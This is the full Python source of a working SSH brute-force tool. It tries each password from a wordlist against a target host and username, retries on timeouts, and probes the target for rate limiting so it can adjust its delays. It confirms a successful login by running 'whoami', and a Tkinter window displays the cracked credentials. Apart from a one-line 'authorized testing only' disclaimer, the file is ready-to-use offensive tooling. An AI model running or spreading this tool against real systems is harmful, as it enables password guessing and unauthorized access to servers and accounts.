ssh_bruteforce.py

#!/usr/bin/env python3
"""
SSH Brute Force Tool v1.0
High-performance SSH brute force tool with intelligent retry logic and connection stability testing.

Author: SSH Brute Force Tool Project
License: MIT
"""

import paramiko
import time
import sys
import socket
import threading
import argparse
import os
from pathlib import Path
try:
    import tkinter as tk
    from tkinter import ttk
    import queue
    GUI_AVAILABLE = True
except ImportError:
    GUI_AVAILABLE = False

__version__ = "1.0.0"

# Global variables for GUI communication
gui_queue = None

class SimpleProgressWindow:
    def __init__(self, target, username, total_passwords):
        if not GUI_AVAILABLE:
            return
            
        self.target = target
        self.username = username
        self.total_passwords = total_passwords
        self.current_attempt = 0
        self.current_password = ""
        self.start_time = time.time()
        
        # Create window with professional styling
        self.root = tk.Tk()
        self.root.title("SSH Brute Force Tool")
        self.root.geometry("650x400")
        
        # Modern dark theme colors
        self.colors = {
            'bg_primary': '#0d1117',      # GitHub dark background
            'bg_secondary': '#161b22',    # Slightly lighter panels
            'bg_tertiary': '#21262d',     # Input/progress backgrounds
            'accent_green': '#238636',    # Success green
            'accent_red': '#da3633',      # Error red
            'accent_blue': '#1f6feb',     # Info blue
            'accent_orange': '#fb8500',   # Warning orange
            'text_primary': '#f0f6fc',    # Main text
            'text_secondary': '#7d8590',  # Secondary text
            'text_muted': '#484f58',      # Muted text
            'border': '#30363d'           # Borders
        }
        
        self.root.configure(bg=self.colors['bg_primary'])
        
        # Configure fonts with proper fallbacks
        import platform
        system = platform.system()
        
        if system == "Darwin":  # macOS
            self.fonts = {
                'title': ('SF Pro Display', 18, 'bold'),
                'subtitle': ('SF Pro Display', 12, 'normal'),
                'mono': ('SF Mono', 11, 'normal'),
                'mono_bold': ('SF Mono', 11, 'bold'),
                'small': ('SF Pro Display', 10, 'normal'),
                'small_mono': ('SF Mono', 9, 'normal')
            }
        elif system == "Windows":
            self.fonts = {
                'title': ('Segoe UI', 18, 'bold'),
                'subtitle': ('Segoe UI', 12, 'normal'),
                'mono': ('Consolas', 11, 'normal'),
                'mono_bold': ('Consolas', 11, 'bold'),
                'small': ('Segoe UI', 10, 'normal'),
                'small_mono': ('Consolas', 9, 'normal')
            }
        else:  # Linux and others
            self.fonts = {
                'title': ('Ubuntu', 18, 'bold'),
                'subtitle': ('Ubuntu', 12, 'normal'),
                'mono': ('Ubuntu Mono', 11, 'normal'),
                'mono_bold': ('Ubuntu Mono', 11, 'bold'),
                'small': ('Ubuntu', 10, 'normal'),
                'small_mono': ('Ubuntu Mono', 9, 'normal')
            }
        
        # Test and fallback to safe fonts if needed
        try:
            # Test if the font works by creating a temporary label
            test_label = tk.Label(self.root, text="test", font=self.fonts['title'])
            test_label.destroy()
        except tk.TclError:
            # Fallback to universally available fonts
            self.fonts = {
                'title': ('Helvetica', 18, 'bold'),
                'subtitle': ('Helvetica', 12, 'normal'),
                'mono': ('Courier', 11, 'normal'),
                'mono_bold': ('Courier', 11, 'bold'),
                'small': ('Helvetica', 10, 'normal'),
                'small_mono': ('Courier', 9, 'normal')
            }
        
        # Remove window decorations for clean look
        self.root.resizable(False, False)
        
        self.create_widgets()
        # Don't start processing queue yet - wait for run() to be called
    
    def create_widgets(self):
        # Main container with padding
        main_frame = tk.Frame(self.root, bg=self.colors['bg_primary'])
        main_frame.pack(fill=tk.BOTH, expand=True, padx=30, pady=25)
        
        # === HEADER SECTION ===
        header_frame = tk.Frame(main_frame, bg=self.colors['bg_primary'])
        header_frame.pack(fill=tk.X, pady=(0, 25))
        
        # Title with terminal-style prompt
        title_frame = tk.Frame(header_frame, bg=self.colors['bg_primary'])
        title_frame.pack(fill=tk.X)
        
        prompt_label = tk.Label(title_frame, text="$", font=self.fonts['mono_bold'], 
                               bg=self.colors['bg_primary'], fg=self.colors['accent_green'])
        prompt_label.pack(side=tk.LEFT)
        
        title_label = tk.Label(title_frame, text=" ssh-bruteforce --gui", font=self.fonts['title'], 
                              bg=self.colors['bg_primary'], fg=self.colors['text_primary'])
        title_label.pack(side=tk.LEFT, padx=(5, 0))
        
        # Subtle separator line
        separator = tk.Frame(header_frame, height=1, bg=self.colors['border'])
        separator.pack(fill=tk.X, pady=(15, 0))
        
        # === TARGET INFO SECTION ===
        info_frame = tk.Frame(main_frame, bg=self.colors['bg_secondary'], relief='flat', bd=0)
        info_frame.pack(fill=tk.X, pady=(0, 20))
        
        # Internal padding frame
        info_inner = tk.Frame(info_frame, bg=self.colors['bg_secondary'])
        info_inner.pack(fill=tk.X, padx=20, pady=15)
        
        # Target details in terminal style
        target_line = tk.Frame(info_inner, bg=self.colors['bg_secondary'])
        target_line.pack(fill=tk.X, pady=(0, 8))
        tk.Label(target_line, text="TARGET", font=self.fonts['small_mono'], 
                bg=self.colors['bg_secondary'], fg=self.colors['text_muted']).pack(side=tk.LEFT)
        tk.Label(target_line, text=f"  {self.target}", font=self.fonts['mono'], 
                bg=self.colors['bg_secondary'], fg=self.colors['text_primary']).pack(side=tk.LEFT)
        
        user_line = tk.Frame(info_inner, bg=self.colors['bg_secondary'])
        user_line.pack(fill=tk.X, pady=(0, 8))
        tk.Label(user_line, text="USER  ", font=self.fonts['small_mono'], 
                bg=self.colors['bg_secondary'], fg=self.colors['text_muted']).pack(side=tk.LEFT)
        tk.Label(user_line, text=f"  {self.username}", font=self.fonts['mono'], 
                bg=self.colors['bg_secondary'], fg=self.colors['text_primary']).pack(side=tk.LEFT)
        
        count_line = tk.Frame(info_inner, bg=self.colors['bg_secondary'])
        count_line.pack(fill=tk.X)
        tk.Label(count_line, text="DICT  ", font=self.fonts['small_mono'], 
                bg=self.colors['bg_secondary'], fg=self.colors['text_muted']).pack(side=tk.LEFT)
        tk.Label(count_line, text=f"  {self.total_passwords:,} passwords", font=self.fonts['mono'], 
                bg=self.colors['bg_secondary'], fg=self.colors['text_primary']).pack(side=tk.LEFT)
        
        # === PROGRESS SECTION ===
        progress_frame = tk.Frame(main_frame, bg=self.colors['bg_primary'])
        progress_frame.pack(fill=tk.X, pady=(0, 20))
        
        # Progress label
        tk.Label(progress_frame, text="PROGRESS", font=self.fonts['small_mono'], 
                bg=self.colors['bg_primary'], fg=self.colors['text_muted']).pack(anchor='w')
        
        # Custom progress bar container
        progress_container = tk.Frame(progress_frame, bg=self.colors['bg_tertiary'], height=8, relief='flat')
        progress_container.pack(fill=tk.X, pady=(8, 15))
        progress_container.pack_propagate(False)
        
        # Progress bar (we'll update this manually for better control)
        self.progress_fill = tk.Frame(progress_container, bg=self.colors['accent_blue'], height=8)
        self.progress_fill.pack(side=tk.LEFT)
        
        # Stats in monospace terminal style
        stats_frame = tk.Frame(progress_frame, bg=self.colors['bg_primary'])
        stats_frame.pack(fill=tk.X, pady=(0, 15))
        
        # Left stats
        left_stats = tk.Frame(stats_frame, bg=self.colors['bg_primary'])
        left_stats.pack(side=tk.LEFT, fill=tk.X, expand=True)
        
        self.attempts_label = tk.Label(left_stats, text="ATTEMPTS  0/0", font=self.fonts['small_mono'], 
                                      bg=self.colors['bg_primary'], fg=self.colors['text_secondary'])
        self.attempts_label.pack(anchor='w')
        
        self.rate_label = tk.Label(left_stats, text="RATE      0.0/min", font=self.fonts['small_mono'], 
                                  bg=self.colors['bg_primary'], fg=self.colors['text_secondary'])
        self.rate_label.pack(anchor='w', pady=(5, 0))
        
        # Current attempt in terminal style
        current_frame = tk.Frame(main_frame, bg=self.colors['bg_tertiary'], relief='flat')
        current_frame.pack(fill=tk.X, pady=(0, 20))
        
        current_inner = tk.Frame(current_frame, bg=self.colors['bg_tertiary'])
        current_inner.pack(fill=tk.X, padx=15, pady=12)
        
        # Terminal prompt style
        prompt_frame = tk.Frame(current_inner, bg=self.colors['bg_tertiary'])
        prompt_frame.pack(fill=tk.X)
        
        tk.Label(prompt_frame, text=">", font=self.fonts['mono'], 
                bg=self.colors['bg_tertiary'], fg=self.colors['accent_green']).pack(side=tk.LEFT)
        
        self.current_label = tk.Label(prompt_frame, text=" Initializing attack...", font=self.fonts['mono'], 
                                     bg=self.colors['bg_tertiary'], fg=self.colors['text_primary'])
        self.current_label.pack(side=tk.LEFT)
        
        # === STATUS SECTION ===
        status_frame = tk.Frame(main_frame, bg=self.colors['bg_primary'])
        status_frame.pack(fill=tk.X)
        
        self.status_label = tk.Label(status_frame, text="[STATUS] Preparing attack vectors...", 
                                    font=self.fonts['mono'], bg=self.colors['bg_primary'], 
                                    fg=self.colors['accent_blue'])
        self.status_label.pack(anchor='w')
    
    def process_queue(self):
        global gui_queue
        if gui_queue:
            try:
                while True:
                    msg_type, data = gui_queue.get_nowait()
                    
                    if msg_type == 'progress':
                        attempt, total, elapsed = data
                        self.current_attempt = attempt
                        
                        # Update custom progress bar
                        progress_percentage = (attempt / total) if total > 0 else 0
                        container_width = 590  # Approximate width minus padding
                        fill_width = int(container_width * progress_percentage)
                        self.progress_fill.config(width=max(1, fill_width))
                        
                        # Update stats with terminal-style formatting
                        self.attempts_label.config(text=f"ATTEMPTS  {attempt:,}/{total:,}")
                        rate = (attempt / elapsed) * 60 if elapsed > 0 else 0
                        self.rate_label.config(text=f"RATE      {rate:.1f}/min")
                    
                    elif msg_type == 'attempt':
                        username, password = data
                        # Terminal-style current attempt display
                        truncated_password = password[:25] + "..." if len(password) > 25 else password
                        self.current_label.config(text=f" ssh {username}@target -p {truncated_password}")
                    
                    elif msg_type == 'success':
                        username, password = data
                        # Update progress bar to full and green
                        self.progress_fill.config(width=590, bg=self.colors['accent_green'])
                        self.current_label.config(text=f" ACCESS GRANTED: {username}:{password}",
                                                 fg=self.colors['accent_green'])
                        self.status_label.config(text="[SUCCESS] Credentials found! Attack completed.", 
                                                fg=self.colors['accent_green'])
                        # Auto-close after showing success
                        self.root.after(4000, self.root.destroy)
                        return
                    
                    elif msg_type == 'complete':
                        # Update progress bar to full but keep blue
                        self.progress_fill.config(width=590)
                        self.current_label.config(text=" Attack completed - no valid credentials")
                        self.status_label.config(text="[COMPLETE] Dictionary exhausted. No access gained.", 
                                                fg=self.colors['accent_red'])
                        # Auto-close after showing completion
                        self.root.after(3000, self.root.destroy)
                        return
                        
            except queue.Empty:
                pass
        
        # Schedule next check
        self.root.after(150, self.process_queue)
    
    def run(self):
        try:
            # Start queue processing when GUI starts
            self.process_queue()
            
            # Center window with better positioning
            self.root.update_idletasks()
            width = 650
            height = 400
            screen_width = self.root.winfo_screenwidth()
            screen_height = self.root.winfo_screenheight()
            x = (screen_width // 2) - (width // 2)
            y = (screen_height // 2) - (height // 2) - 50  # Slightly higher
            self.root.geometry(f'{width}x{height}+{x}+{y}')
            
            # Set window properties
            self.root.focus_force()  # Bring to front
            self.root.lift()         # Raise above other windows
            
            # Initial loading state
            self.status_label.config(text="[INIT] Initializing attack parameters...")
            
            self.root.mainloop()
        except Exception as e:
            print(f"[GUI] Error running GUI: {e}")

def send_gui_update(msg_type, data):
    """Send update to GUI if available"""
    global gui_queue
    if gui_queue:
        try:
            gui_queue.put((msg_type, data))
        except:
            pass

def test_ssh_password(host, port, username, password, timeout=20, max_retries=2):
    """Test SSH password with retry logic for timeout handling"""
    client = None
    
    for attempt in range(max_retries + 1):
        try:
            if attempt > 0:
                print(f"[RETRY {attempt}] {username}:{password}")
                time.sleep(5)  # Wait before retry
            else:
                print(f"[ATTEMPT] {username}:{password}")
            
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            
            # Increase timeouts for better reliability
            client.connect(
                hostname=host,
                port=port,
                username=username,
                password=password,
                timeout=timeout,
                auth_timeout=timeout,
                banner_timeout=timeout,
                look_for_keys=False,
                allow_agent=False,
                gss_auth=False,
                gss_kex=False,
                gss_deleg_creds=False
            )
            
            print(f"[SUCCESS] *** FOUND CREDENTIALS: {username}:{password} ***")
            
            # Verify with command
            try:
                stdin, stdout, stderr = client.exec_command('whoami', timeout=5)
                output = stdout.read().decode().strip()
                print(f"[VERIFY] User: {output}")
            except:
                print(f"[VERIFY] Login successful but command failed")
            
            return True
            
        except paramiko.AuthenticationException:
            print(f"[FAILED] {username}:{password}")
            return False
            
        except (socket.timeout, paramiko.SSHException, ConnectionResetError, OSError) as e:
            error_msg = f"[ERROR] {username}:{password} - {type(e).__name__}"
            if attempt < max_retries:
                print(f"{error_msg} (will retry)")
                # Close client before retry
                if client:
                    try:
                        client.close()
                    except:
                        pass
                client = None
                continue  # Try again
            else:
                print(f"{error_msg} (max retries exceeded)")
                return False
            
        except Exception as e:
            error_msg = f"[ERROR] {username}:{password} - {str(e)}"
            if attempt < max_retries:
                print(f"{error_msg} (will retry)")
                # Close client before retry
                if client:
                    try:
                        client.close()
                    except:
                        pass
                client = None
                continue  # Try again
            else:
                print(f"{error_msg} (max retries exceeded)")
                return False
            
        finally:
            if client:
                try:
                    client.close()
                except:
                    pass
    
    return False  # All attempts failed

def check_connection_stability(host, port, num_tests=5):
    """Check if the target is stable and not rate limiting"""
    print(f"Running connection stability test ({num_tests} connections)...")
    
    success_count = 0
    total_time = 0
    
    for i in range(num_tests):
        test_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        test_sock.settimeout(5)
        try:
            start_time = time.time()
            test_sock.connect((host, port))
            connect_time = time.time() - start_time
            total_time += connect_time
            print(f"[TEST {i+1}] Connection successful ({connect_time:.2f}s)")
            success_count += 1
            test_sock.close()
        except Exception as e:
            print(f"[TEST {i+1}] Connection failed: {e}")
        time.sleep(1)
    
    success_rate = success_count / num_tests * 100
    avg_time = total_time / success_count if success_count > 0 else 0
    print(f"Connection success rate: {success_rate:.1f}% ({success_count}/{num_tests})")
    print(f"Average connection time: {avg_time:.2f}s")
    
    if success_rate < 80:
        print("[WARNING] Low connection success rate - target may be rate limiting")
        print("[ADVICE] Consider increasing delays between attempts")
    
    if avg_time > 2.0:
        print("[WARNING] Slow connection times detected")
        print("[ADVICE] Consider increasing timeout values")
    
    return success_rate >= 50

def load_passwords(password_file):
    """Load passwords from file with error handling"""
    if not os.path.exists(password_file):
        raise FileNotFoundError(f"Password file not found: {password_file}")
    
    try:
        with open(password_file, 'r', encoding='utf-8', errors='ignore') as f:
            passwords = [line.strip() for line in f if line.strip()]
        
        if not passwords:
            raise ValueError("Password file is empty or contains no valid passwords")
        
        return passwords
    except Exception as e:
        raise Exception(f"Could not read password file: {e}")

def parse_arguments():
    """Parse command line arguments"""
    parser = argparse.ArgumentParser(
        description='SSH Brute Force Tool v' + __version__,
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target 192.168.1.100 --username admin --passwords passwords.txt
  %(prog)s -t 10.0.0.1 -u root -p /path/to/rockyou.txt --timeout 30
  %(prog)s --target example.com --port 2222 --username test --passwords wordlist.txt

Ethical Use:
  This tool is for authorized security testing only. Always obtain proper
  authorization before testing any systems you do not own.
        """
    )
    
    parser.add_argument('--target', '-t', required=True,
                       help='Target IP address or hostname')
    parser.add_argument('--port', '-P', type=int, default=22,
                       help='SSH port number (default: 22)')
    parser.add_argument('--username', '-u', required=True,
                       help='Username to test')
    parser.add_argument('--passwords', '--password', '-p', required=True,
                       help='Path to password list file')
    parser.add_argument('--timeout', type=int, default=25,
                       help='Connection timeout in seconds (default: 25)')
    parser.add_argument('--max-retries', type=int, default=2,
                       help='Maximum retry attempts per password (default: 2)')
    parser.add_argument('--delay', type=float,
                       help='Base delay between attempts (auto-detected if not specified)')
    parser.add_argument('--skip-stability-test', action='store_true',
                       help='Skip connection stability test')
    parser.add_argument('--version', action='version', version=f'%(prog)s {__version__}')
    
    return parser.parse_args()

def print_banner():
    """Print tool banner"""
    print("=" * 60)
    print(f"SSH Brute Force Tool v{__version__}")
    print("High-performance SSH brute force with intelligent retry logic")
    print("=" * 60)

def main():
    """Main function"""
    args = parse_arguments()
    
    print_banner()
    print(f"Target: {args.target}:{args.port}")
    print(f"Username: {args.username}")
    print(f"Password file: {args.passwords}")
    print(f"Timeout: {args.timeout}s")
    print(f"Max retries: {args.max_retries}")
    print("=" * 60)
    
    # Load passwords
    try:
        passwords = load_passwords(args.passwords)
    except Exception as e:
        print(f"[ERROR] {e}")
        return False
    
    print(f"Loaded {len(passwords)} passwords from {Path(args.passwords).name}")
    print("Starting attack with improved timeout handling...")
    print("-" * 60)
    
    # Initialize GUI
    gui_window = None
    
    if GUI_AVAILABLE:
        try:
            global gui_queue
            gui_queue = queue.Queue()
            
            # Create GUI window (but don't run it yet)
            gui_window = SimpleProgressWindow(f"{args.target}:{args.port}", args.username, len(passwords))
            print("[GUI] Progress window created")
            
        except Exception as e:
            print(f"[GUI] Could not create progress window: {e}")
            gui_window = None
    
    # Run connection stability test unless skipped
    base_delay = args.delay
    if not args.skip_stability_test:
        if check_connection_stability(args.target, args.port):
            print("[INFO] Connection appears stable. Using normal delays...")
            if base_delay is None:
                base_delay = 2
        else:
            print("[WARNING] Connection stability is poor. Increasing delays...")
            if base_delay is None:
                base_delay = 5
    else:
        print("[INFO] Skipping connection stability test...")
        if base_delay is None:
            base_delay = 2
    
    print(f"[INFO] Using base delay of {base_delay}s between attempts")
    print("-" * 60)
    
    # Define attack function to run in background thread
    attack_result = {'success': False, 'credentials': None}
    
    def run_attack():
        start_time = time.time()
        
        for i, password in enumerate(passwords, 1):
            # Update GUI with current attempt
            send_gui_update('attempt', (args.username, password))
            
            # Update GUI with progress
            elapsed_time = time.time() - start_time
            send_gui_update('progress', (i, len(passwords), elapsed_time))
            
            if test_ssh_password(args.target, args.port, args.username, password, 
                               timeout=args.timeout, max_retries=args.max_retries):
                elapsed_time = time.time() - start_time
                print(f"\n*** ATTACK SUCCESSFUL ***")
                print(f"Credentials: {args.username}:{password}")
                print(f"Found after trying {i} passwords")
                print(f"Time elapsed: {elapsed_time:.1f} seconds")
                
                # Update GUI with success
                send_gui_update('success', (args.username, password))
                attack_result['success'] = True
                attack_result['credentials'] = f"{args.username}:{password}"
                return
            
            # Dynamic delays based on connection stability
            if i % 3 == 0:  # Every 3 attempts, wait longer
                time.sleep(base_delay * 2)
            else:
                time.sleep(base_delay)
            
            # Progress update every 50 attempts
            if i % 50 == 0:
                elapsed_time = time.time() - start_time
                rate = i / elapsed_time if elapsed_time > 0 else 0
                print(f"[PROGRESS] Tried {i}/{len(passwords)} passwords... ({rate:.1f} attempts/sec)")
        
        elapsed_time = time.time() - start_time
        print(f"\n[COMPLETE] No credentials found after trying all {len(passwords)} passwords")
        print(f"Total time elapsed: {elapsed_time:.1f} seconds")
        
        # Update GUI with completion
        send_gui_update('complete', None)
    
    # Start attack in background thread
    attack_thread = threading.Thread(target=run_attack, daemon=True)
    attack_thread.start()
    
    # Run GUI on main thread (required for macOS)
    if gui_window:
        try:
            print("[GUI] Starting progress window...")
            gui_window.run()  # This will block until GUI is closed
        except KeyboardInterrupt:
            print("\n[INTERRUPTED] Attack stopped by user")
        except Exception as e:
            print(f"[GUI] GUI error: {e}")
    else:
        # No GUI, just wait for attack to complete
        try:
            attack_thread.join()
        except KeyboardInterrupt:
            print("\n[INTERRUPTED] Attack stopped by user")
    
    return attack_result['success']

if __name__ == "__main__":
    try:
        success = main()
        sys.exit(0 if success else 1)
    except KeyboardInterrupt:
        print("\n[INTERRUPTED] Attack stopped by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n[FATAL ERROR] {e}")
        sys.exit(1)